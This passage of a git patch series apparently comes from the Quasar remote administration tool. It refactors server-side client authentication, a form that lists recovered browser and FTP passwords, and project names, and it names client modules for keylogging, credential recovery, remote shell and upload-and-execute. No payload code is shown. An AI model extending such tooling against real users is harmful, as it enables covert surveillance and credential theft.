AuthenticateClient(client, (GetAuthenticationResponse) message); + client.Authenticated = AuthenticateClient(client, (GetAuthenticationResponse)message); + if (client.Authenticated) + { + client.Send(new SetAuthenticationSuccess()); // finish handshake + OnClientConnected(client); + } + else + { + client.Disconnect(); + } } else { @@ -123,7 +122,31 @@ private void OnClientRead(Server server, Client client, IMessage message) } MessageHandler.Process(client, message); - PacketHandler.HandlePacket(client, message); // TODO: Remove this + } + + private bool AuthenticateClient(Client client, GetAuthenticationResponse packet) + { + if (packet.Id.Length != 64) + return false; + + client.Value.Version = packet.Version; + client.Value.OperatingSystem = packet.OperatingSystem; + client.Value.AccountType = packet.AccountType; + client.Value.Country = packet.Country; + client.Value.CountryCode = packet.CountryCode; + client.Value.Region = packet.Region; + client.Value.City = packet.City; + client.Value.Id = packet.Id; + client.Value.Username = packet.Username; + client.Value.PcName = packet.PcName; + client.Value.Tag = packet.Tag; + client.Value.ImageIndex = packet.ImageIndex; + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); + + return true; } } } diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 1404fd847..4f9ff8eb6 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -1,7 +1,13 @@ -namespace xServer.Core.Networking +using System.IO; +using System.Windows.Forms; +using xServer.Core.Helper; + +namespace xServer.Core.Networking { public class UserState { + private string _downloadDirectory; + public string Version { get; set; } public string OperatingSystem { get; set; } public string AccountType { get; set; } @@ -12,10 +18,13 @@ public class UserState public string City { get; set; } public string Id { get; set; } public string Username { get; set; } - public string PCName { get; set; } - public string UserAtPc { get { return string.Format("{0}@{1}", Username, PCName); } } - public string CountryWithCode { get { return string.Format("{0} [{1}]", Country, CountryCode); } } + public string PcName { get; set; } + public string UserAtPc { get { return $"{Username}@{PcName}"; } } + public string CountryWithCode { get { return $"{Country} [{CountryCode}]"; } } public string Tag { get; set; } - public string DownloadDirectory { get; set; } + + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.CheckPathForIllegalChars(UserAtPc)) + ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") + : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 7196fc86d..be3b2ee75 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -21,26 +21,46 @@ namespace xServer.Forms public partial class FrmMain : Form { public QuasarServer ListenServer { get; set; } - public static FrmMain Instance { get; private set; } private const int STATUS_ID = 4; private const int USERSTATUS_ID = 5; private bool _titleUpdateRunning; private bool _processingClientConnections; + private readonly ClientStatusHandler _clientStatusHandler; private readonly Queue> _clientConnections = new Queue>(); private readonly object _processingClientConnectionsLock = new object(); private readonly object _lockClients = new object(); // lock for clients-listview public FrmMain() { - Instance = this; - AES.SetDefaultKey(Settings.Password); + _clientStatusHandler = new ClientStatusHandler(); + RegisterMessageHandler(); InitializeComponent(); } + /// + /// Registers the client status message handler for client communication. + /// + private void RegisterMessageHandler() + { + MessageHandler.Register(_clientStatusHandler); + _clientStatusHandler.StatusUpdated += SetStatusByClient; + _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient; + } + + /// + /// Unregisters the client status message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_clientStatusHandler); + _clientStatusHandler.StatusUpdated -= SetStatusByClient; + _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient; + } + public void UpdateWindowTitle() { if (_titleUpdateRunning) return; @@ -104,9 +124,10 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e) { ListenServer.Disconnect(); UPnP.DeletePortMap(Settings.ListenPort); + UnregisterMessageHandler(); + _clientStatusHandler.Dispose(); notifyIcon.Visible = false; notifyIcon.Dispose(); - Instance = null; } private void lstClients_SelectedIndexChanged(object sender, EventArgs e) @@ -292,51 +313,32 @@ private void RemoveClientFromListview(Client client) { } } - + /// /// Sets the status of a client. /// + /// The message handler which raised the event. /// The client to update the status of. /// The new status. - public void SetStatusByClient(Client client, string text) + private void SetStatusByClient(object sender, Client client, string text) { - if (client == null) return; - - try - { - lstClients.Invoke((MethodInvoker) delegate - { - var item = GetListViewItemByClient(client); - if (item != null) - item.SubItems[STATUS_ID].Text = text; - }); - } - catch (InvalidOperationException) - { - } + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[STATUS_ID].Text = text; } /// /// Sets the user status of a client. /// + /// The message handler which raised the event. /// The client to update the user status of. /// The new user status. - public void SetUserStatusByClient(Client client, UserStatus userStatus) + private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus) { - if (client == null) return; + var item = GetListViewItemByClient(client); + if (item != null) + item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); - try - { - lstClients.Invoke((MethodInvoker) delegate - { - var item = GetListViewItemByClient(client); - if (item != null) - item.SubItems[USERSTATUS_ID].Text = userStatus.ToString(); - }); - } - catch (InvalidOperationException) - { - } } /// @@ -419,6 +421,7 @@ private void ShowPopup(Client c) private void updateToolStripMenuItem_Click(object sender, EventArgs e) { + // TODO: Refactor file upload if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUpdate(lstClients.SelectedItems.Count)) @@ -465,8 +468,7 @@ private void updateToolStripMenuItem_Click(object sender, EventArgs e) int id = FileHelper.GetNewTransferId(); - CommandHandler.HandleSetStatus(c, - new SetStatus {Message = "Uploading file..."}); + //SetStatusByClient(this, c, "Uploading file..."); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { @@ -687,6 +689,7 @@ private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e) private void localFileToolStripMenuItem_Click(object sender, EventArgs e) { + // TODO: Refactor file upload if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) @@ -715,8 +718,7 @@ private void localFileToolStripMenuItem_Click(object sender, EventArgs e) int id = FileHelper.GetNewTransferId(); - CommandHandler.HandleSetStatus(c, - new SetStatus {Message = "Uploading file..."}); + // SetStatusByClient(this, c, "Uploading file..."); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { diff --git a/Server/Server.csproj b/Server/Server.csproj index 92285b85e..7e62b5313 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -111,7 +111,7 @@ WordTextBox.cs - + @@ -130,7 +130,6 @@ - @@ -141,7 +140,6 @@ - From abcea8377597361ea4c519729da203614f974a4c Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 22 Sep 2018 22:10:47 +0200 Subject: [PATCH 133/229] Correctly handle 0 recovered accounts --- Server/Forms/FrmPasswordRecovery.cs | 44 ++++++++++++++--------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/Server/Forms/FrmPasswordRecovery.cs b/Server/Forms/FrmPasswordRecovery.cs index 48ba1fce5..5575f12f3 100644 --- a/Server/Forms/FrmPasswordRecovery.cs +++ b/Server/Forms/FrmPasswordRecovery.cs @@ -107,51 +107,51 @@ private void AddPasswords(object sender, string clientIdentifier, List(); - - foreach (var acc in accounts) + if (accounts == null || accounts.Count == 0) // no accounts found { - var lvi = new ListViewItem {Tag = acc, Text = clientIdentifier}; + var lvi = new ListViewItem { Tag = _noResultsFound, Text = clientIdentifier }; - lvi.SubItems.Add(acc.Url); // URL - lvi.SubItems.Add(acc.Username); // User - lvi.SubItems.Add(acc.Password); // Pass + lvi.SubItems.Add(_noResultsFound.Url); // URL + lvi.SubItems.Add(_noResultsFound.Username); // User + lvi.SubItems.Add(_noResultsFound.Password); // Pass - var lvg = GetGroupFromApplication(acc.Application); + var lvg = GetGroupFromApplication(_noResultsFound.Application); if (lvg == null) // create new group { - lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; + lvg = new ListViewGroup + { Name = _noResultsFound.Application, Header = _noResultsFound.Application }; lstPasswords.Groups.Add(lvg); // add the new group } lvi.Group = lvg; - items.Add(lvi); + lstPasswords.Items.Add(lvi); + return; } - lstPasswords.Items.AddRange(items.ToArray()); - UpdateRecoveryCount(); - - if (accounts.Count == 0) // no accounts found + var items = new List(); + foreach (var acc in accounts) { - var lvi = new ListViewItem {Tag = _noResultsFound, Text = clientIdentifier}; + var lvi = new ListViewItem {Tag = acc, Text = clientIdentifier}; - lvi.SubItems.Add(_noResultsFound.Url); // URL - lvi.SubItems.Add(_noResultsFound.Username); // User - lvi.SubItems.Add(_noResultsFound.Password); // Pass + lvi.SubItems.Add(acc.Url); // URL + lvi.SubItems.Add(acc.Username); // User + lvi.SubItems.Add(acc.Password); // Pass - var lvg = GetGroupFromApplication(_noResultsFound.Application); + var lvg = GetGroupFromApplication(acc.Application); if (lvg == null) // create new group { - lvg = new ListViewGroup - {Name = _noResultsFound.Application, Header = _noResultsFound.Application}; + lvg = new ListViewGroup { Name = acc.Application.Replace(" ", string.Empty), Header = acc.Application }; lstPasswords.Groups.Add(lvg); // add the new group } lvi.Group = lvg; - lstPasswords.Items.Add(lvi); + items.Add(lvi); } + + lstPasswords.Items.AddRange(items.ToArray()); + UpdateRecoveryCount(); } catch { From f06ecac213c41c49b20fdfca09ab42f42b5231f0 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 27 Sep 2018 09:38:00 +0200 Subject: [PATCH 134/229] Change project names --- .../Core/Compression/JpgCompression.Tests.cs | 0 .../Core/Compression/SafeQuickLZ.Tests.cs | 0 .../Core/Encryption/AES.Tests.cs | 0 .../Core/Encryption/SHA256.Tests.cs | 0 .../Core/Helper/FileHelper.Tests.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Quasar.Client.Tests.csproj | 8 ++++---- {Client => Quasar.Client}/Config/Settings.cs | 0 .../Core/Commands/CommandHandler.cs | 0 .../Core/Commands/ConnectionHandler.cs | 0 .../Core/Commands/FileHandler.cs | 0 .../Core/Commands/MiscHandler.cs | 0 .../Core/Commands/RegistryHandler.cs | 0 .../Core/Commands/SurveillanceHandler.cs | 0 .../Core/Commands/SystemHandler.cs | 0 .../Core/Commands/TcpConnectionsHandler.cs | 0 .../Core/Compression/SafeQuickLZ.cs | 0 {Client => Quasar.Client}/Core/Cryptography/AES.cs | 0 .../Core/Cryptography/SHA256.cs | 0 {Client => Quasar.Client}/Core/Data/ClientData.cs | 0 .../Core/Data/GeoInformation.cs | 0 {Client => Quasar.Client}/Core/Data/Host.cs | 0 .../Core/Extensions/RegistryKeyExtensions.cs | 0 .../Core/Extensions/SocketExtensions.cs | 0 .../Core/Helper/CryptographyHelper.cs | 0 .../Core/Helper/DevicesHelper.cs | 0 {Client => Quasar.Client}/Core/Helper/FileHelper.cs | 0 .../Core/Helper/FormatHelper.cs | 0 .../Core/Helper/GeoLocationHelper.cs | 0 {Client => Quasar.Client}/Core/Helper/HostHelper.cs | 0 .../Core/Helper/KeyloggerHelper.cs | 0 .../Core/Helper/MutexHelper.cs | 0 .../Core/Helper/NativeMethodsHelper.cs | 0 .../Core/Helper/PlatformHelper.cs | 0 .../Core/Helper/RegistryKeyHelper.cs | 0 .../Core/Helper/ScreenHelper.cs | 0 .../Core/Helper/SystemHelper.cs | 0 .../Core/Helper/WindowsAccountHelper.cs | 0 .../Core/Installation/ClientInstaller.cs | 0 .../Core/Installation/ClientUninstaller.cs | 0 .../Core/Installation/ClientUpdater.cs | 0 .../Core/Installation/Startup.cs | 0 {Client => Quasar.Client}/Core/Networking/Client.cs | 0 .../Core/Networking/PacketHandler.cs | 0 .../Core/Networking/QuasarClient.cs | 0 .../Core/Recovery/Browsers/Chrome.cs | 0 .../Core/Recovery/Browsers/Firefox.cs | 0 .../Core/Recovery/Browsers/InternetExplorer.cs | 0 .../Core/Recovery/Browsers/Opera.cs | 0 .../Core/Recovery/Browsers/Yandex.cs | 0 .../Core/Recovery/FtpClients/FileZilla.cs | 0 .../Core/Recovery/FtpClients/WinSCP.cs | 0 .../Core/Recovery/Utilities/Chromium.cs | 0 .../Core/Recovery/Utilities/JsonUtil.cs | 0 .../Core/Recovery/Utilities/SQLiteHandler.cs | 0 .../Core/Registry/RegistryEditor.cs | 0 .../Core/Registry/RegistrySeeker.cs | 0 .../Core/ReverseProxy/ReverseProxyClient.cs | 0 .../Core/ReverseProxy/ReverseProxyCommandHandler.cs | 0 .../Core/Utilities/HostsManager.cs | 0 .../Core/Utilities/Keylogger.cs | 0 .../Core/Utilities/NativeMethods.cs | 0 {Client => Quasar.Client}/Core/Utilities/Shell.cs | 0 {Client => Quasar.Client}/Program.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Properties/Resources.Designer.cs | 0 {Client => Quasar.Client}/Properties/Resources.resx | 0 .../Properties/Settings.Designer.cs | 0 .../Properties/Settings.settings | 0 .../Quasar.Client.csproj | 4 ++-- {Client => Quasar.Client}/app.manifest | 0 {Client => Quasar.Client}/images/information.png | Bin {Client => Quasar.Client}/packages.config | 0 Quasar.Common/Quasar.Common.csproj | 6 ++++-- .../Core/Compression/SafeQuickLZ.Tests.cs | 0 .../Core/Encryption/AES.Tests.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Quasar.Server.Tests.csproj | 8 ++++---- .../Controls/DotNetBarTabControl.cs | 0 .../Controls/HexEditor/ByteCollection.cs | 0 .../Controls/HexEditor/Caret.cs | 0 .../Controls/HexEditor/EditView.cs | 0 .../Controls/HexEditor/HexEditor.cs | 0 .../Controls/HexEditor/HexViewHandler.cs | 0 .../Controls/HexEditor/IKeyMouseEventHandler.cs | 0 .../Controls/HexEditor/StringViewHandler.cs | 0 {Server => Quasar.Server}/Controls/InputBox.cs | 0 {Server => Quasar.Server}/Controls/Line.cs | 0 {Server => Quasar.Server}/Controls/ListViewEx.cs | 0 .../Controls/RapidPictureBox.cs | 0 .../Controls/RegistryTreeView.cs | 0 .../Controls/RegistryValueLstItem.cs | 0 .../Controls/WordTextBox.Designer.cs | 0 {Server => Quasar.Server}/Controls/WordTextBox.cs | 0 .../Core/Build/ClientBuilder.cs | 0 .../Core/Build/IconInjector.cs | 0 {Server => Quasar.Server}/Core/Build/Renamer.cs | 0 .../Core/Commands/ClientStatusHandler.cs | 0 .../Core/Commands/FileManagerHandler.cs | 0 .../Core/Commands/KeyloggerHandler.cs | 0 .../Core/Commands/PasswordRecoveryHandler.cs | 0 .../Core/Commands/RegistryHandler.cs | 0 .../Core/Commands/RemoteDesktopHandler.cs | 0 .../Core/Commands/RemoteShellHandler.cs | 0 .../Core/Commands/ReverseProxyHandler.cs | 0 .../Core/Commands/StartupManagerHandler.cs | 0 .../Core/Commands/SystemInformationHandler.cs | 0 .../Core/Commands/TaskManagerHandler.cs | 0 .../Core/Commands/TcpConnectionsHandler.cs | 0 .../Core/Compression/SafeQuickLZ.cs | 0 {Server => Quasar.Server}/Core/Cryptography/AES.cs | 0 {Server => Quasar.Server}/Core/Data/BuildOptions.cs | 0 .../Core/Data/BuilderProfile.cs | 0 {Server => Quasar.Server}/Core/Data/Host.cs | 0 {Server => Quasar.Server}/Core/Data/Settings.cs | 0 .../Core/Extensions/ListViewExtensions.cs | 0 .../Core/Extensions/RegistryKeyExtensions.cs | 0 .../Core/Extensions/SocketExtensions.cs | 0 .../Core/Helper/ClipboardHelper.cs | 0 .../Core/Helper/CryptographyHelper.cs | 0 {Server => Quasar.Server}/Core/Helper/FileHelper.cs | 0 .../Core/Helper/FormatHelper.cs | 0 {Server => Quasar.Server}/Core/Helper/HostHelper.cs | 0 .../Core/Helper/NativeMethodsHelper.cs | 0 .../Core/Helper/PlatformHelper.cs | 0 .../Core/Helper/RemoteDesktopHelper.cs | 0 .../Core/Helper/WindowHelper.cs | 0 {Server => Quasar.Server}/Core/Networking/Client.cs | 0 .../Core/Networking/QuasarServer.cs | 0 {Server => Quasar.Server}/Core/Networking/Server.cs | 0 .../Core/Networking/UserState.cs | 0 .../Networking/Utilities/PooledBufferManager.cs | 0 .../Core/Networking/Utilities/UPnP.cs | 0 .../Core/Registry/RegValueHelper.cs | 0 .../Core/ReverseProxy/ReverseProxyClient.cs | 0 .../Core/ReverseProxy/ReverseProxyServer.cs | 0 .../Core/Utilities/FrameCounter.cs | 0 .../Core/Utilities/ListViewColumnSorter.cs | 0 .../Core/Utilities/NativeMethods.cs | 0 .../Core/Utilities/NoIpUpdater.cs | 0 {Server => Quasar.Server}/Enums/TransferType.cs | 0 {Server => Quasar.Server}/Enums/WordType.cs | 0 .../Forms/FrmAbout.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmAbout.cs | 0 {Server => Quasar.Server}/Forms/FrmAbout.resx | 0 .../Forms/FrmBuilder.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmBuilder.cs | 0 {Server => Quasar.Server}/Forms/FrmBuilder.resx | 0 .../Forms/FrmConnections.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmConnections.cs | 0 {Server => Quasar.Server}/Forms/FrmConnections.resx | 0 .../Forms/FrmDownloadAndExecute.Designer.cs | 0 .../Forms/FrmDownloadAndExecute.cs | 0 .../Forms/FrmDownloadAndExecute.resx | 0 .../Forms/FrmFileManager.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmFileManager.cs | 0 {Server => Quasar.Server}/Forms/FrmFileManager.resx | 0 .../Forms/FrmKeylogger.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmKeylogger.cs | 0 {Server => Quasar.Server}/Forms/FrmKeylogger.resx | 0 {Server => Quasar.Server}/Forms/FrmMain.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmMain.cs | 0 {Server => Quasar.Server}/Forms/FrmMain.resx | 0 .../Forms/FrmPasswordRecovery.Designer.cs | 0 .../Forms/FrmPasswordRecovery.cs | 0 .../Forms/FrmPasswordRecovery.resx | 0 .../Forms/FrmRegValueEditBinary.Designer.cs | 0 .../Forms/FrmRegValueEditBinary.cs | 0 .../Forms/FrmRegValueEditBinary.resx | 0 .../Forms/FrmRegValueEditMultiString.Designer.cs | 0 .../Forms/FrmRegValueEditMultiString.cs | 0 .../Forms/FrmRegValueEditMultiString.resx | 0 .../Forms/FrmRegValueEditString.Designer.cs | 0 .../Forms/FrmRegValueEditString.cs | 0 .../Forms/FrmRegValueEditString.resx | 0 .../Forms/FrmRegValueEditWord.Designer.cs | 0 .../Forms/FrmRegValueEditWord.cs | 0 .../Forms/FrmRegValueEditWord.resx | 0 .../Forms/FrmRegistryEditor.Designer.cs | 0 .../Forms/FrmRegistryEditor.cs | 0 .../Forms/FrmRegistryEditor.resx | 0 .../Forms/FrmRemoteDesktop.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmRemoteDesktop.cs | 0 .../Forms/FrmRemoteDesktop.resx | 0 .../Forms/FrmRemoteShell.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmRemoteShell.cs | 0 {Server => Quasar.Server}/Forms/FrmRemoteShell.resx | 0 .../Forms/FrmReverseProxy.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmReverseProxy.cs | 0 .../Forms/FrmReverseProxy.resx | 0 .../Forms/FrmSettings.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmSettings.cs | 0 {Server => Quasar.Server}/Forms/FrmSettings.resx | 0 .../Forms/FrmShowMessagebox.Designer.cs | 0 .../Forms/FrmShowMessagebox.cs | 0 .../Forms/FrmShowMessagebox.resx | 0 .../Forms/FrmStartupAdd.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmStartupAdd.cs | 0 {Server => Quasar.Server}/Forms/FrmStartupAdd.resx | 0 .../Forms/FrmStartupManager.Designer.cs | 0 .../Forms/FrmStartupManager.cs | 0 .../Forms/FrmStartupManager.resx | 0 .../Forms/FrmSystemInformation.Designer.cs | 0 .../Forms/FrmSystemInformation.cs | 0 .../Forms/FrmSystemInformation.resx | 0 .../Forms/FrmTaskManager.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmTaskManager.cs | 0 {Server => Quasar.Server}/Forms/FrmTaskManager.resx | 0 .../Forms/FrmUpdate.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmUpdate.cs | 0 {Server => Quasar.Server}/Forms/FrmUpdate.resx | 0 .../Forms/FrmUploadAndExecute.Designer.cs | 0 .../Forms/FrmUploadAndExecute.cs | 0 .../Forms/FrmUploadAndExecute.resx | 0 .../Forms/FrmVisitWebsite.Designer.cs | 0 {Server => Quasar.Server}/Forms/FrmVisitWebsite.cs | 0 .../Forms/FrmVisitWebsite.resx | 0 {Server => Quasar.Server}/Models/FileTransfer.cs | 0 {Server => Quasar.Server}/Program.cs | 0 .../Properties/AssemblyInfo.cs | 0 .../Properties/Resources.Designer.cs | 0 {Server => Quasar.Server}/Properties/Resources.resx | 0 .../Properties/Settings.Designer.cs | 0 .../Properties/Settings.settings | 0 .../Quasar.Server.csproj | 4 ++-- {Server => Quasar.Server}/Quasar_Server.ico | Bin {Server => Quasar.Server}/app.manifest | 0 {Server => Quasar.Server}/flags/ad.png | Bin {Server => Quasar.Server}/flags/ae.png | Bin {Server => Quasar.Server}/flags/af.png | Bin {Server => Quasar.Server}/flags/ag.png | Bin {Server => Quasar.Server}/flags/ai.png | Bin {Server => Quasar.Server}/flags/al.png | Bin {Server => Quasar.Server}/flags/am.png | Bin {Server => Quasar.Server}/flags/an.png | Bin {Server => Quasar.Server}/flags/ao.png | Bin {Server => Quasar.Server}/flags/ar.png | Bin {Server => Quasar.Server}/flags/as.png | Bin {Server => Quasar.Server}/flags/at.png | Bin {Server => Quasar.Server}/flags/au.png | Bin {Server => Quasar.Server}/flags/aw.png | Bin {Server => Quasar.Server}/flags/ax.png | Bin {Server => Quasar.Server}/flags/az.png | Bin {Server => Quasar.Server}/flags/ba.png | Bin {Server => Quasar.Server}/flags/bb.png | Bin {Server => Quasar.Server}/flags/bd.png | Bin {Server => Quasar.Server}/flags/be.png | Bin {Server => Quasar.Server}/flags/bf.png | Bin {Server => Quasar.Server}/flags/bg.png | Bin {Server => Quasar.Server}/flags/bh.png | Bin {Server => Quasar.Server}/flags/bi.png | Bin {Server => Quasar.Server}/flags/bj.png | Bin {Server => Quasar.Server}/flags/bm.png | Bin {Server => Quasar.Server}/flags/bn.png | Bin {Server => Quasar.Server}/flags/bo.png | Bin {Server => Quasar.Server}/flags/br.png | Bin {Server => Quasar.Server}/flags/bs.png | Bin {Server => Quasar.Server}/flags/bt.png | Bin {Server => Quasar.Server}/flags/bv.png | Bin {Server => Quasar.Server}/flags/bw.png | Bin {Server => Quasar.Server}/flags/by.png | Bin {Server => Quasar.Server}/flags/bz.png | Bin {Server => Quasar.Server}/flags/ca.png | Bin {Server => Quasar.Server}/flags/catalonia.png | Bin {Server => Quasar.Server}/flags/cc.png | Bin {Server => Quasar.Server}/flags/cd.png | Bin {Server => Quasar.Server}/flags/cf.png | Bin {Server => Quasar.Server}/flags/cg.png | Bin {Server => Quasar.Server}/flags/ch.png | Bin {Server => Quasar.Server}/flags/ci.png | Bin {Server => Quasar.Server}/flags/ck.png | Bin {Server => Quasar.Server}/flags/cl.png | Bin {Server => Quasar.Server}/flags/cm.png | Bin {Server => Quasar.Server}/flags/cn.png | Bin {Server => Quasar.Server}/flags/co.png | Bin {Server => Quasar.Server}/flags/cr.png | Bin {Server => Quasar.Server}/flags/cs.png | Bin {Server => Quasar.Server}/flags/cu.png | Bin {Server => Quasar.Server}/flags/cv.png | Bin {Server => Quasar.Server}/flags/cx.png | Bin {Server => Quasar.Server}/flags/cy.png | Bin {Server => Quasar.Server}/flags/cz.png | Bin {Server => Quasar.Server}/flags/de.png | Bin {Server => Quasar.Server}/flags/dj.png | Bin {Server => Quasar.Server}/flags/dk.png | Bin {Server => Quasar.Server}/flags/dm.png | Bin {Server => Quasar.Server}/flags/do.png | Bin {Server => Quasar.Server}/flags/dz.png | Bin {Server => Quasar.Server}/flags/ec.png | Bin {Server => Quasar.Server}/flags/ee.png | Bin {Server => Quasar.Server}/flags/eg.png | Bin {Server => Quasar.Server}/flags/eh.png | Bin {Server => Quasar.Server}/flags/england.png | Bin {Server => Quasar.Server}/flags/er.png | Bin {Server => Quasar.Server}/flags/es.png | Bin {Server => Quasar.Server}/flags/et.png | Bin {Server => Quasar.Server}/flags/europeanunion.png | Bin {Server => Quasar.Server}/flags/fam.png | Bin {Server => Quasar.Server}/flags/fi.png | Bin {Server => Quasar.Server}/flags/fj.png | Bin {Server => Quasar.Server}/flags/fk.png | Bin {Server => Quasar.Server}/flags/fm.png | Bin {Server => Quasar.Server}/flags/fo.png | Bin {Server => Quasar.Server}/flags/fr.png | Bin {Server => Quasar.Server}/flags/ga.png | Bin {Server => Quasar.Server}/flags/gb.png | Bin {Server => Quasar.Server}/flags/gd.png | Bin {Server => Quasar.Server}/flags/ge.png | Bin {Server => Quasar.Server}/flags/gf.png | Bin {Server => Quasar.Server}/flags/gh.png | Bin {Server => Quasar.Server}/flags/gi.png | Bin {Server => Quasar.Server}/flags/gl.png | Bin {Server => Quasar.Server}/flags/gm.png | Bin {Server => Quasar.Server}/flags/gn.png | Bin {Server => Quasar.Server}/flags/gp.png | Bin {Server => Quasar.Server}/flags/gq.png | Bin {Server => Quasar.Server}/flags/gr.png | Bin {Server => Quasar.Server}/flags/gs.png | Bin {Server => Quasar.Server}/flags/gt.png | Bin {Server => Quasar.Server}/flags/gu.png | Bin {Server => Quasar.Server}/flags/gw.png | Bin {Server => Quasar.Server}/flags/gy.png | Bin {Server => Quasar.Server}/flags/hk.png | Bin {Server => Quasar.Server}/flags/hm.png | Bin {Server => Quasar.Server}/flags/hn.png | Bin {Server => Quasar.Server}/flags/hr.png | Bin {Server => Quasar.Server}/flags/ht.png | Bin {Server => Quasar.Server}/flags/hu.png | Bin {Server => Quasar.Server}/flags/id.png | Bin {Server => Quasar.Server}/flags/ie.png | Bin {Server => Quasar.Server}/flags/il.png | Bin {Server => Quasar.Server}/flags/in.png | Bin {Server => Quasar.Server}/flags/io.png | Bin {Server => Quasar.Server}/flags/iq.png | Bin {Server => Quasar.Server}/flags/ir.png | Bin {Server => Quasar.Server}/flags/is.png | Bin {Server => Quasar.Server}/flags/it.png | Bin {Server => Quasar.Server}/flags/jm.png | Bin {Server => Quasar.Server}/flags/jo.png | Bin {Server => Quasar.Server}/flags/jp.png | Bin {Server => Quasar.Server}/flags/ke.png | Bin {Server => Quasar.Server}/flags/kg.png | Bin {Server => Quasar.Server}/flags/kh.png | Bin {Server => Quasar.Server}/flags/ki.png | Bin {Server => Quasar.Server}/flags/km.png | Bin {Server => Quasar.Server}/flags/kn.png | Bin {Server => Quasar.Server}/flags/kp.png | Bin {Server => Quasar.Server}/flags/kr.png | Bin {Server => Quasar.Server}/flags/kw.png | Bin {Server => Quasar.Server}/flags/ky.png | Bin {Server => Quasar.Server}/flags/kz.png | Bin {Server => Quasar.Server}/flags/la.png | Bin {Server => Quasar.Server}/flags/lb.png | Bin {Server => Quasar.Server}/flags/lc.png | Bin {Server => Quasar.Server}/flags/li.png | Bin {Server => Quasar.Server}/flags/lk.png | Bin {Server => Quasar.Server}/flags/lr.png | Bin {Server => Quasar.Server}/flags/ls.png | Bin {Server => Quasar.Server}/flags/lt.png | Bin {Server => Quasar.Server}/flags/lu.png | Bin {Server => Quasar.Server}/flags/lv.png | Bin {Server => Quasar.Server}/flags/ly.png | Bin {Server => Quasar.Server}/flags/ma.png | Bin {Server => Quasar.Server}/flags/mc.png | Bin {Server => Quasar.Server}/flags/md.png | Bin {Server => Quasar.Server}/flags/me.png | Bin {Server => Quasar.Server}/flags/mg.png | Bin {Server => Quasar.Server}/flags/mh.png | Bin {Server => Quasar.Server}/flags/mk.png | Bin {Server => Quasar.Server}/flags/ml.png | Bin {Server => Quasar.Server}/flags/mm.png | Bin {Server => Quasar.Server}/flags/mn.png | Bin {Server => Quasar.Server}/flags/mo.png | Bin {Server => Quasar.Server}/flags/mp.png | Bin {Server => Quasar.Server}/flags/mq.png | Bin {Server => Quasar.Server}/flags/mr.png | Bin {Server => Quasar.Server}/flags/ms.png | Bin {Server => Quasar.Server}/flags/mt.png | Bin {Server => Quasar.Server}/flags/mu.png | Bin {Server => Quasar.Server}/flags/mv.png | Bin {Server => Quasar.Server}/flags/mw.png | Bin {Server => Quasar.Server}/flags/mx.png | Bin {Server => Quasar.Server}/flags/my.png | Bin {Server => Quasar.Server}/flags/mz.png | Bin {Server => Quasar.Server}/flags/na.png | Bin {Server => Quasar.Server}/flags/nc.png | Bin {Server => Quasar.Server}/flags/ne.png | Bin {Server => Quasar.Server}/flags/nf.png | Bin {Server => Quasar.Server}/flags/ng.png | Bin {Server => Quasar.Server}/flags/ni.png | Bin {Server => Quasar.Server}/flags/nl.png | Bin {Server => Quasar.Server}/flags/no.png | Bin {Server => Quasar.Server}/flags/np.png | Bin {Server => Quasar.Server}/flags/nr.png | Bin {Server => Quasar.Server}/flags/nu.png | Bin {Server => Quasar.Server}/flags/nz.png | Bin {Server => Quasar.Server}/flags/om.png | Bin {Server => Quasar.Server}/flags/pa.png | Bin {Server => Quasar.Server}/flags/pe.png | Bin {Server => Quasar.Server}/flags/pf.png | Bin {Server => Quasar.Server}/flags/pg.png | Bin {Server => Quasar.Server}/flags/ph.png | Bin {Server => Quasar.Server}/flags/pk.png | Bin {Server => Quasar.Server}/flags/pl.png | Bin {Server => Quasar.Server}/flags/pm.png | Bin {Server => Quasar.Server}/flags/pn.png | Bin {Server => Quasar.Server}/flags/pr.png | Bin {Server => Quasar.Server}/flags/ps.png | Bin {Server => Quasar.Server}/flags/pt.png | Bin {Server => Quasar.Server}/flags/pw.png | Bin {Server => Quasar.Server}/flags/py.png | Bin {Server => 